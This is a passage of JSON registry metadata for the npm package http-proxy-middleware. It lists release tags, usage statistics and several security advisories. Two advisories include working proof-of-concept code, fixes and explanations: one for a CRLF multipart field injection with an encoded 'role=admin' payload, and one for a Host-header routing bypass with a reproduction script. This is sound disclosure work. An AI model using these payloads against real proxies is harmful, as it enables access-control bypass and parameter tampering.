gz/v0.5.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.5.0/manifests"},{"name":"v0.4.0","sha":"b10d7301fcde3be94b8fe4708ec1e0ad17b0bf4a","kind":"commit","published_at":"2015-07-28T21:21:11.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.4.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.4.0/manifests"},{"name":"v0.3.2","sha":"e6ef751eb707e2898bed65e23e88fa570123e87c","kind":"commit","published_at":"2015-07-25T12:59:05.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.3.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"bcb949b051fa46810fcce7defb8d0f927214db62","kind":"commit","published_at":"2015-07-24T15:52:47.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.3.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"b596677e0fe4b6c4d974a21949c5e1361b4cbb33","kind":"commit","published_at":"2015-07-19T11:07:26.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.3.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.3.0/manifests"},{"name":"v0.2.0","sha":"afd3536ba67185b3f082c7a4bdb7cfa7534b7403","kind":"commit","published_at":"2015-07-13T09:28:23.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.2.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"abcf4a81366dde1d8fa0057c519d79765c54ef46","kind":"commit","published_at":"2015-07-09T03:43:57.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.1.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.1.0/manifests"},{"name":"v0.0.5","sha":"9a16ea7ed310db2a2c40a4a8f4bdc136c02f502d","kind":"commit","published_at":"2015-03-31T12:37:36.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.0.5","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.0.5/manifests"}]},"repo_metadata_updated_at":"2026-07-09T23:52:56.545Z","dependent_packages_count":8072,"downloads":114521537,"downloads_period":"last-month","dependent_repos_count":2978280,"rankings":{"downloads":0.028776198387656732,"dependent_repos_count":0.005941422502494302,"dependent_packages_count":0.011882845004988605,"stargazers_count":1.018474812201765,"forks_count":1.3129174739152385,"docker_downloads_count":0.04273991025987837,"average":0.40345544371200365},"purl":"pkg:npm/http-proxy-middleware","advisories":[{"uuid":"GSA_kwCzR0hTQS1nY3EyLTlwcTItY3hxbc4ABZE2","url":"https://github.com/advisories/GHSA-gcq2-9pq2-cxqm","title":"http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`","description":"## Summary\n`fixRequestBody()` is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the **outgoing** `Content-Type` is `multipart/form-data`, it rebuilds the body with `handlerFormDataBodyData()`, which interpolates each `req.body` key and value directly into the multipart wire format **without neutralizing CR/LF**:\n\n```js\n// dist/handlers/fix-request-body.js\nfunction handlerFormDataBodyData(contentType, data) {\n  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');\n  let str = '';\n  for (const [key, value] of Object.entries(data)) {\n    str += `--${boundary}\\r\\nContent-Disposition: form-data; name=\"${key}\"\\r\\n\\r\\n${value}\\r\\n`;\n  }\n}\n```\n\nA `\\r\\n` inside a value (or key) lets an attacker close the current part and inject an **entirely new form part**. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on `req.body` is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.\n\nBy contrast, the sibling output branches are safe: `application/json` uses `JSON.stringify` (escapes control chars) and `application/x-www-form-urlencoded` uses `querystring.stringify` (percent-encodes). Only the multipart branch lacks escaping.\n\n## Preconditions \nAll three must hold; this narrows real-world exposure and is the basis for `AC:H`:\n1. The proxy app populates `req.body` with a **non-multipart** parser (`express.urlencoded`, `express.json`, or text) so an injected boundary in a value is **not** split on input.\n2. The proxied (outgoing) request is sent as **`multipart/form-data`** (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs.\n3. The app calls `fixRequestBody` (the documented pattern for \"I body-parsed, now re-stream\"), and an attacker controls at least one body field value or key.\n\n\u003e Note: a pure multipart-in → multipart-out flow (e.g. `multer`) is generally **not** exploitable for a *new-field* injection, because the proxy's multipart parser already splits the injected boundary, so `req.body` and the backend agree. The desync specifically requires a non-multipart input parser.\n\n## Impact\nWhen the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:\n- **Validation / access-control bypass** bypass gateway-side field checks (demonstrated below: a gateway that forbids `role=admin` is bypassed; backend grants admin).\n- **Parameter tampering** add or overwrite fields the backend trusts (IDs, flags, prices).\n- **File-part injection** inject a `filename=\"...\"` part into the upstream multipart stream.\n\n## Proof of Concept\n\n```js\n// npm i http-proxy-middleware@4.0.0   (Node ESM: save as minimal.mjs)\nimport { fixRequestBody } from 'http-proxy-middleware';\n\n// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.\n// The attacker sent  user=alice%0D%0A--BB%0D%0A...  so this ONE field's value holds CRLF:\nconst req = { readableLength: 0, body: {\n  user: 'alice\\r\\n--BB\\r\\nContent-Disposition: form-data; name=\"role\"\\r\\n\\r\\nadmin\\r\\n--BB--'\n}};\n\n// Minimal stand-in for the outgoing proxy request; capture what gets written.\nconst out = [];\nconst proxyReq = {\n  h: { 'content-type': 'multipart/form-data; boundary=BB' },\n  getHeader(n){ return this.h[n.toLowerCase()]; },\n  setHeader(n,v){ this.h[n.toLowerCase()] = v; },\n  write(d){ out.push(Buffer.from(d)); },\n};\n\nfixRequestBody(proxyReq, req);          // library rebuilds the multipart body\nconsole.log(Buffer.concat(out).toString());\n```\n\nOutput: one input field becomes **two** parts; `role=admin` was injected via the unescaped CRLF:\n\n```\n--BB\nContent-Disposition: form-data; name=\"user\"\n\nalice\n--BB\nContent-Disposition: form-data; name=\"role\"     \u003c-- injected part; never present in req.body's keys\nadmin\n--BB--\n```\n\n`req.body` had a single key (`user`), so any gateway policy checking `req.body.role` passes, yet the backend's multipart parser receives `role=admin`. On the wire the attacker simply sends, as `application/x-www-form-urlencoded`: `user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name=\"role\"%0D%0A%0D%0Aadmin%0D%0A--BB--`\n\n## Remediation\nNeutralize CR/LF (and `\"`) in keys/values before interpolation, or build the body with a real multipart encoder (e.g. `FormData` / `form-data`) instead of string concatenation. Minimal fix:\n\n```js\nfunction handlerFormDataBodyData(contentType, data) {\n  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');\n  const bad = /[\\r\\n]/;\n  let str = '';\n  for (const [key, value] of Object.entries(data)) {\n    const v = String(value);\n    if (bad.test(key) || bad.test(v)) {\n      throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value');\n    }\n    str += `--${boundary}\\r\\nContent-Disposition: form-data; name=\"${key.replace(/\"/g, '%22')}\"\\r\\n\\r\\n${v}\\r\\n`;\n  }\n}\n```\n(Reject is preferable to silent stripping, to avoid masking malicious input.)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-18T13:06:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N","references":["https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-gcq2-9pq2-cxqm","https://github.com/advisories/GHSA-gcq2-9pq2-cxqm"],"source_kind":"github","identifiers":["GHSA-gcq2-9pq2-cxqm","CVE-2026-55603"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-18T14:00:08.787Z","updated_at":"2026-07-05T14:00:29.370Z","epss_percentage":0.00243,"epss_percentile":0.15318,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nY3EyLTlwcTItY3hxbc4ABZE2","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nY3EyLTlwcTItY3hxbc4ABZE2","packages":[{"ecosystem":"npm","package_name":"http-proxy-middleware","versions":[{"first_patched_version":"4.1.1","vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.1.1"},{"first_patched_version":"3.0.7","vulnerable_version_range":"\u003e= 3.0.4, \u003c 3.0.7"}],"purl":"pkg:npm/http-proxy-middleware"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nY3EyLTlwcTItY3hxbc4ABZE2/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02NG1tLXZ4bWctcTN2as4ABZE1","url":"https://github.com/advisories/GHSA-64mm-vxmg-q3vj","title":"http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass","description":"# Summary\n\n`http-proxy-middleware` documents `router` proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted `Host` header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.\n\n# Details\n\nTested code state:\n\n- validated on tag `v4.0.0-beta.5`\n- corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358`\n\nRelevant code locations:\n\n- `src/router.ts`\n- `src/http-proxy-middleware.ts`\n\nAffected public API:\n\n- `createProxyMiddleware({ router: { 'host/path': 'http://target' } })`\n\nCode explanation:\n\nWhen a proxy-table router key contains `/`, `getTargetFromProxyTable()` concatenates attacker-controlled `req.headers.host` and `req.url` into a single `hostAndPath` string, then accepts the route if:\n\n```ts\nhostAndPath.indexOf(key) \u003e -1\n```\n\nThat is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:\n\n```txt\nlocalhost:3000/api\n```\n\nbut the attacker-controlled host is:\n\n```txt\nevillocalhost:3000\n```\n\nand the request path is:\n\n```txt\n/api\n```\n\nThe concatenated attacker-controlled string:\n\n```txt\nevillocalhost:3000/api\n```\n\nstill contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.\n\nExploit path:\n\n1. the application enables the documented proxy-table `router` feature with at least one host+path rule\n2. an external attacker sends an ordinary HTTP request with a crafted `Host` header\n3. `HttpProxyMiddleware.prepareProxyRequest()` applies router selection before proxying\n4. `getTargetFromProxyTable()` accepts the crafted `Host + path` string through substring matching\n5. the request is proxied to the wrong backend\n\n## PoC\n\nCreate these files in the same working directory and run:\n\n```bash\nbash ./run.sh\n```\n\n### File: `run.sh`\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" \u0026\u0026 pwd)\"\nREPO_URL=\"https://github.com/chimurai/http-proxy-middleware.git\"\nREPO_REF=\"v4.0.0-beta.5\"\nWORKDIR=\"$(mktemp -d \"${SCRIPT_DIR}/.tmp-repro.XXXXXX\")\"\nTARGET_REPO_DIR=\"${WORKDIR}/repo\"\nREPRO_DIR=\"${WORKDIR}/reproduction\"\nIMAGE_TAG=\"http-proxy-middleware-router-bypass-poc\"\n\ncleanup() {\n  rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\n\necho \"[a3] cloning target repository\"\ngit clone --quiet \"${REPO_URL}\" \"${TARGET_REPO_DIR}\"\ngit -C \"${TARGET_REPO_DIR}\" checkout --quiet \"${REPO_REF}\"\n\nmkdir -p \"${REPRO_DIR}\"\ncp \"${SCRIPT_DIR}/Dockerfile\" \"${WORKDIR}/Dockerfile\"\ncp \"${SCRIPT_DIR}/verify.mjs\" \"${REPRO_DIR}/verify.mjs\"\n\necho \"[a3] building reproduction image\"\ndocker build -f \"${WORKDIR}/Dockerfile\" -t \"${IMAGE_TAG}\" \"${WORKDIR}\"\n\necho \"[a3] running verification\"\ndocker run --rm \"${IMAGE_TAG}\" node /work/reproduction/verify.mjs\n```\n\n### File: `Dockerfile`\n\n```Dockerfile\nFROM node:22-bullseye\n\nWORKDIR /work\n\nCOPY repo/package.json repo/yarn.lock /work/repo/\n\nRUN corepack enable \\\n  \u0026\u0026 cd /work/repo \\\n  \u0026\u0026 yarn install --frozen-lockfile\n\nCOPY repo /work/repo\nRUN cd /work/repo \u0026\u0026 yarn build\n\nCOPY reproduction /work/reproduction\n```\n\n### File: `verify.mjs`\n\n```js\nimport http from 'node:http';\nimport fs from 'node:fs';\nimport assert from 'node:assert/strict';\n\nimport { createProxyMiddleware } from '/work/repo/dist/index.js';\n\nconst ROUTER_KEY = 'localhost:3000/api';\nconst CRAFTED_HOST = 'evillocalhost:3000';\n\nfunction listen(server, port) {\n  return new Promise((resolve) =\u003e {\n    server.listen(port, '127.0.0.1', () =\u003e resolve());\n  });\n}\n\nfunction close(server) {\n  return new Promise((resolve, reject) =\u003e {\n    server.close((err) =\u003e {\n      if (err) {\n        reject(err);\n        return;\n      }\n      resolve();\n    });\n  });\n}\n\nfunction request(path, host) {\n  return new Promise((resolve, reject) =\u003e {\n    const req = http.request(\n      {\n        host: '127.0.0.1',\n        port: 3000,\n        path,\n        method: 'GET',\n        headers: {\n          Host: host,\n        },\n      },\n      (res) =\u003e {\n        let data = '';\n        res.setEncoding('utf8');\n        res.on('data', (chunk) =\u003e {\n          data += chunk;\n        });\n        res.on('end', () =\u003e {\n          resolve({ statusCode: res.statusCode, body: data });\n        });\n      },\n    );\n    req.on('error', reject);\n    req.end();\n  });\n}\n\nconst defaultBackend = http.createServer((req, res) =\u003e {\n  res.end('DEFAULT');\n});\n\nconst secretBackend = http.createServer((req, res) =\u003e {\n  res.end('SECRET');\n});\n\nconst proxyMiddleware = createProxyMiddleware({\n  target: 'http://127.0.0.1:3101',\n  router: {\n    [ROUTER_KEY]: 'http://127.0.0.1:3102',\n  },\n});\n\nconst proxyServer = http.createServer((req, res) =\u003e {\n  proxyMiddleware(req, res, () =\u003e {\n    res.statusCode = 404;\n    res.end('NO_PROXY');\n  });\n});\n\ntry {\n  assert.ok(fs.existsSync('/work/repo/dist/index.js'));\n  assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));\n\n  await listen(defaultBackend, 3101);\n  await listen(secretBackend, 3102);\n  await listen(proxyServer, 3000);\n  console.log('STEP start-services ok');\n\n  const baseline = await request('/api', 'safe.example:3000');\n  assert.equal(baseline.statusCode, 200);\n  assert.equal(baseline.body, 'DEFAULT');\n  console.log(`STEP baseline-route body=${baseline.body}`);\n\n  const crafted = await request('/api', CRAFTED_HOST);\n  assert.equal(crafted.statusCode, 200);\n  assert.equal(crafted.body, 'SECRET');\n  assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]);\n  console.log(`STEP crafted-route body=${crafted.body}`);\n\n  console.log('RESULT reproduced host_header_injection router substring match bypass');\n} finally {\n  await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]);\n}\n```\n\nThis PoC starts:\n\n- one default backend returning `DEFAULT`\n- one alternate backend returning `SECRET`\n- one proxy using:\n\n```js\ncreateProxyMiddleware({\n  target: 'http://127.0.0.1:3101',\n  router: {\n    [ROUTER_KEY]: 'http://127.0.0.1:3102',\n  },\n});\n```\n\nIt then sends:\n\n1. a baseline request to `/api` with `Host: safe.example:3000`\n2. a crafted request to `/api` with `Host: evillocalhost:3000`\n\nObserved result from the validated PoC:\n\n- baseline request: `STEP baseline-route body=DEFAULT`\n- crafted request: `STEP crafted-route body=SECRET`\n- success marker: `RESULT reproduced host_header_injection router substring match bypass`\n\nThe PoC is considered successful only if:\n\n1. the baseline request stays on the default backend\n2. the crafted request reaches the alternate backend\n3. the crafted host is not equal to the configured router host\n\n# Impact\n\nThis is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted `Host` header.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-18T13:06:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-64mm-vxmg-q3vj","https://github.com/advisories/GHSA-64mm-vxmg-q3vj"],"source_kind":"github","identifiers":["GHSA-64mm-vxmg-q3vj","CVE-2026-55602"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-18T14:00:08.787Z","updated_at":"2026-07-11T07:00:34.666Z","epss_percentage":0.0034,"epss_percentile":0.25855,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NG1tLXZ4bWctcTN2as4ABZE1","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02NG1tLXZ4bWctcTN2as4ABZE1","packages":[{"ecosystem":"npm","package_name":"http-proxy-middleware","versions":[{"first_patched_version":"4.1.0","vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.1.0"}],"purl":"pkg:npm/http-proxy-middleware"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NG1tLXZ4bWctcTN2as4ABZE1/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05Z3F2LXdwNTktZnE0Ms4ABGxU","url":"https://github.com/advisories/GHSA-9gqv-wp59-fq42","title":"http-proxy-middleware allows fixRequestBody to proceed even if bodyParser has failed","description":"In http-proxy-middleware before 2.0.9 and 3.x before 3.0.5, fixRequestBody proceeds even if bodyParser has failed.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-04-15T03:30:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.0,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-32997","https://github.com/chimurai/http-proxy-middleware/pull/1096","https://github.com/chimurai/http-proxy-middleware/commit/1bdccbeec243850f1d2bb50ea0ff2151e725d67e","https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.9","https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.5","https://github.com/advisories/GHSA-9gqv-wp59-fq42"],"source_kind":"github","identifiers":["GHSA-9gqv-wp59-fq42","CVE-2025-32997"],"repository_url":"https://github.com/chimurai/http-proxy-middleware","blast_radius":0.0,"created_at":"2025-04-16T16:09:26.202Z","updated_at":"2026-07-11T07:03:57.535Z","epss_percentage":0.00417,"epss_percentile":0.33617,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05Z3F2LXdwNTktZnE0Ms4ABGxU","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05Z3F2LXdwNTktZnE0Ms4ABGxU","packages":[{"ecosystem":"npm","package_name":"http-proxy-middleware","versions":[{"first_patched_version":"3.0.5","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.0.5"}],"purl":"pkg:npm/http-proxy-middleware"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05Z3F2LXdwNTktZnE0Ms4ABGxU/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00d3d3LTVwOWgtOTVtaM4ABGxX","url":"https://github.com/advisories/GHSA-4www-5p9h-95mh","title":"http-proxy-middleware can call writeBody twice because \"else if\" is not used","description":"In http-proxy-middleware before 2.0.8 and 3.x before 3.0.4, writeBody can be called twice because \"else if\" is not used.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-04-15T03:30:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.0,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:L","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-32996","https://github.com/chimurai/http-proxy-middleware/pull/1089","https://github.com/chimurai/http-proxy-middleware/commit/020976044d113fc0bcbbaf995e91d05e2829a145","https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.8","https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.4","https://github.com/advisories/GHSA-4www-5p9h-95mh"],"source_kind":"github","identifiers":["GHSA-4www-5p9h-95mh","CVE-2025-32996"],"repository_url":"https://github.com/chimurai/http-proxy-middleware","blast_radius":0.0,"created_at":"2025-04-16T16:09:26.510Z","updated_at":"2026-07-11T07:03:57.536Z","epss_percentage":0.00412,"epss_percentile":0.33132,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00d3d3LTVwOWgtOTVtaM4ABGxX","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00d3d3LTVwOWgtOTVtaM4ABGxX","packages":[{"ecosystem":"npm","package_name":"http-proxy-middleware","versions":[{"first_patched_version":"3.0.4","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.0.4"}],"purl":"pkg:npm/http-proxy-middleware"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00d3d3LTVwOWgtOTVtaM4ABGxX/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jN3F2LXE5NXEtOHYyN84ABAbv","url":"https://github.com/advisories/GHSA-c7qv-q95q-8v27","title":"Denial of service in http-proxy-middleware","description":"Versions of the package http-proxy-middleware before 2.0.7, from 3.0.0 and before 3.0.3 are vulnerable to Denial of Service (DoS) due to an UnhandledPromiseRejection error thrown by micromatch. An attacker could kill the Node.js process and crash the server by making requests to certain paths.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-10-19T06:30:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-21536","https://github.com/chimurai/http-proxy-middleware/commit/0b4274e8cc9e9a2c5a06f35fbf456ccfcebc55a5","https://github.com/chimurai/http-proxy-middleware/commit/788b21e4aff38332d6319557d4a5b1b13b1f9a22","https://gist.github.com/mhassan1/28be67266d82a53708ed59ce5dc3c94a","https://security.snyk.io/vuln/SNYK-JS-HTTPPROXYMIDDLEWARE-8229906","https://github.com/advisories/GHSA-c7qv-q95q-8v27"],"source_kind":"github","identifiers":["GHSA-c7qv-q95q-8v27","CVE-2024-21536"],"repository_url":"https://github.com/chimurai/http-proxy-middleware","blast_radius":0.0,"created_at":"2024-10-22T20:06:56.876Z","updated_at":"2026-07-10T13:05:18.135Z","epss_percentage":0.01017,"epss_percentile":0.59215,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jN3F2LXE5NXEtOHYyN84ABAbv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jN3F2LXE5NXEtOHYyN84ABAbv","packages":[{"ecosystem":"npm","package_name":"http-proxy-middleware","versions":[{"first_patched_version":"3.0.3","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.0.3"},{"first_patched_version":"2.0.7","vulnerable_version_range":"\u003c 2.0.7"}],"purl":"pkg:npm/http-proxy-middleware"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jN3F2LXE5NXEtOHYyN84ABAbv/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/http-proxy-middleware","docker_dependents_count":11786,"docker_downloads_count":3248907650,"usage_url":"https://repos.ecosyste.ms/usage/npm/http-proxy-middleware","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/http-proxy-middleware/dependencies","status":null,"funding_links":[],"critical":true,"issue_metadata":{"last_synced_at":"2026-06-27T21:22:23.157Z","issues_count":163,"pull_requests_count":312,"avg_time_to_close_issue":62940116.72815534,"avg_time_to_close_pull_request":5428682.886861314,"issues_closed_count":103,"pull_requests_closed_count":274,"pull_request_authors_count":48,"issue_authors_count":156,"avg_comments_per_issue":4.748466257668712,"avg_comments_per_pull_request":1.5576923076923077,"merged_pull_requests_count":226,"bot_issues_count":0,"bot_pull_requests_count":16,"past_year_issues_count":14,"past_year_pull_requests_count":67,"past_year_avg_time_to_close_issue":783703.4,"past_year_avg_time_to_close_pull_request":156506.1607142857,"past_year_issues_closed_count":5,"past_year_pull_requests_closed_count":56,"past_year_pull_request_authors_count":12,"past_year_issue_authors_count":13,"past_year_avg_comments_per_issue":2.2142857142857144,"past_year_avg_comments_per_pull_request":2.3134328358208953,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":54,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/issues","maintainers":[{"login":"chimurai","count":228,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}],"active_maintainers":[{"login":"chimurai","count":52,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware/codemeta","maintainers":[{"uuid":"chimurai","login":"chimurai","name":null,"email":"stevenchim@gmail.com","url":null,"packages_count":4,"html_url":"https://www.npmjs.com/~chimurai","role":null,"created_at":"2022-11-10T11:28:22.633Z","updated_at":"2022-11-10T11:28:22.633Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/chimurai/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5666668,"maintainers_count":1207881,"namespaces_count":399623,"keywords_count":847874,"github":"npm","metadata":{"funded_packages_count":171745},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-06-10T05:11:46.456Z","packages_url":"https:/